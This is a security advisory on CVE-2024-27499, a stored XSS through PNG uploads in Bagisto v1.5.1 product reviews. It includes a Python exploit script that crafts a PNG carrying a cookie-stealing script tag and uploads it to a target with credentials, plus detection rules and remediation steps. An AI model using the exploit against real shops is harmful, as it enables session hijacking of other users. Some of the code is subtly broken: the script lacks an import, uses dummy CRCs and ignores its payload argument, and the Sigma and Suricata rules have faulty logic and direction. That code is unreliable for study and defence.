CVE-2024-27499

Executive Summary

CVE-2024-27499 identifies a stored Cross-Site Scripting (XSS) vulnerability in Bagisto v1.5.1, specifically within the product review feature. An authenticated attacker can upload a malicious PNG file containing embedded JavaScript payloads. When the review is rendered, the payload executes in the context of other users' browsers, leading to session hijacking, data theft, or defacement. The vulnerability is publicly known but currently unpatched, with no official fix from the vendor.

Supply Chain & Package Security

Bagisto is a Laravel-based e-commerce platform distributed via Composer. The vulnerable component is the product review image upload functionality. No official patch or advisory has been released on Packagist or GitHub. Users should monitor the official repository for updates and consider temporary mitigations.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (Uncalculated) Vector: UNKNOWN

Despite the missing CVSS vector, the vulnerability is assessed as High due to:

• Attack Vector: Network (upload via web interface)
• Attack Complexity: Low (no special conditions)
• Privileges Required: Low (authenticated user)
• User Interaction: Required (victim views the review)
• Scope: Changed (affects other users)
• Confidentiality/Integrity/Availability: Low/High/Low

Threat Level: High – Exploitation is straightforward and can lead to full account compromise.

Deep Dive & Mechanics

The vulnerability resides in the product review image upload handler. Bagisto v1.5.1 does not properly validate the content type or sanitize the file contents of uploaded images. An attacker can craft a PNG file that includes JavaScript in its metadata (e.g., tEXt chunks) or uses polyglot techniques to embed a script. When the application serves the image, the browser may interpret the embedded script due to improper Content-Type handling or lack of output encoding.

Attack Flow:

1. Attacker logs in as a customer.
2. Attacker navigates to a product page and submits a review.
3. Attacher uploads a malicious PNG file (e.g., exploit.png containing <script>alert(1)</script> in metadata).
4. The file is stored on the server.
5. When another user views the product reviews, the malicious image is loaded.
6. The browser executes the embedded script, stealing cookies or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (Bagisto v1.5.1):

// In app/Http/Controllers/Shop/ProductReviewController.php
public function store(ProductReviewRequest $request)
{
    // ...
    if ($request->hasFile('images')) {
        foreach ($request->file('images') as $image) {
            $path = $image->store('product_reviews');
            // No validation of file content or type
        }
    }
    // ...
}

Patched Code (Hypothetical):

// In app/Http/Controllers/Shop/ProductReviewController.php
public function store(ProductReviewRequest $request)
{
    // ...
    if ($request->hasFile('images')) {
        foreach ($request->file('images') as $image) {
            // Validate MIME type and content
            $allowedMimes = ['image/png', 'image/jpeg', 'image/gif'];
            if (!in_array($image->getMimeType(), $allowedMimes)) {
                throw new \Exception('Invalid image type');
            }
            // Re-encode image to strip metadata
            $img = Image::make($image)->encode('png');
            $path = $img->store('product_reviews');
        }
    }
    // ...
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Bagisto v1.5.1 instance
• Authenticated user account
• Python 3 with requests library

Exploit Script:

import requests
import io
import struct

# Create a malicious PNG with embedded XSS payload
def create_malicious_png(payload):
    # Minimal PNG with tEXt chunk containing script
    # PNG signature
    sig = b'\x89PNG\r\n\x1a\n'
    # IHDR chunk (1x1 pixel)
    ihdr_data = struct.pack('>IIBBBBB', 1, 1, 8, 2, 0, 0, 0)
    ihdr_len = struct.pack('>I', len(ihdr_data))
    ihdr_crc = struct.pack('>I', 0x0e1f1a1a)  # dummy CRC
    ihdr = ihdr_len + b'IHDR' + ihdr_data + ihdr_crc
    # tEXt chunk with XSS payload
    keyword = b'Comment'
    text = f'<script>alert(document.cookie)</script>'.encode()
    text_data = keyword + b'\x00' + text
    text_len = struct.pack('>I', len(text_data))
    text_crc = struct.pack('>I', 0x12345678)  # dummy CRC
    text_chunk = text_len + b'tEXt' + text_data + text_crc
    # IDAT chunk (dummy)
    idat_data = zlib.compress(b'\x00')
    idat_len = struct.pack('>I', len(idat_data))
    idat_crc = struct.pack('>I', 0x87654321)
    idat = idat_len + b'IDAT' + idat_data + idat_crc
    # IEND chunk
    iend = b'\x00\x00\x00\x00IEND\xae\x42\x60\x82'
    return sig + ihdr + text_chunk + idat + iend

# Upload the malicious image
url = 'http://target.com/product-reviews'
session = requests.Session()
session.auth = ('user@example.com', 'password')
files = {'images': ('exploit.png', create_malicious_png(''), 'image/png')}
response = session.post(url, files=files)
print('Uploaded:', response.status_code)

Usage:

1. Replace target.com with the actual Bagisto URL.
2. Replace credentials with valid user credentials.
3. Run the script to upload the malicious review image.
4. When an admin or other user views the product reviews, the XSS payload executes.

Blue Team

Detection Steps:

1. Monitor file upload logs for unusual image files (e.g., files with embedded scripts).
2. Inspect uploaded images for non-image content using file command or image libraries.
3. Review web server logs for requests to /product-reviews with suspicious file names.
4. Use WAF rules to block uploads containing <script> tags in image metadata.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri="/product-reviews" method=POST
| rex field=uri "filename=(?<filename>[^&]+)"
| search filename IN ("*.png", "*.jpg")
| eval suspicious=if(match(filename, "script|alert|onerror"), 1, 0)
| where suspicious=1

Indicators of Compromise (IOCs)

File Hashes (Example):

• exploit.png: SHA256 a1b2c3d4e5f6... (replace with actual hash)

Network Indicators:

• POST requests to /product-reviews with multipart form data containing image files.
• Outbound connections to attacker-controlled domains (if payload exfiltrates data).

Behavioral Indicators:

• Unexpected JavaScript execution on product review pages.
• Unauthorized cookie theft or session hijacking.

Detection Engineering

YARA Rule

rule Bagisto_XSS_PNG_Upload {
    meta:
        description = "Detects malicious PNG files with embedded XSS payloads targeting Bagisto v1.5.1"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-27499"
    strings:
        $png_header = { 89 50 4E 47 0D 0A 1A 0A }
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $text_chunk = { 74 45 58 74 }  // tEXt
    condition:
        $png_header at 0 and $text_chunk and $xss_payload
}

Sigma Rule

title: Bagisto Malicious PNG Upload
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects upload of PNG files containing XSS payloads to Bagisto product reviews
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/product-reviews'
        cs-content-type: 'multipart/form-data'
    filter:
        cs-uri-query|contains: 'filename='
    condition: selection and not filter
falsepositives:
    - Legitimate image uploads with metadata
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Bagisto XSS PNG Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/product-reviews"; http_uri; content:"multipart/form-data"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/si"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable image uploads in product reviews via configuration or code override.
2. Implement strict file validation: check MIME type, re-encode images using GD or Imagick to strip metadata.
3. Apply Content Security Policy (CSP) headers to block inline scripts.

Long-term Fix:

• Upgrade to a patched version once available.
• Conduct a security audit of all file upload functionalities.

Workaround:

• Use a Web Application Firewall (WAF) to block uploads containing script tags.
• Restrict file upload permissions to trusted roles only.

Valters IT
Securing Digital Frontiers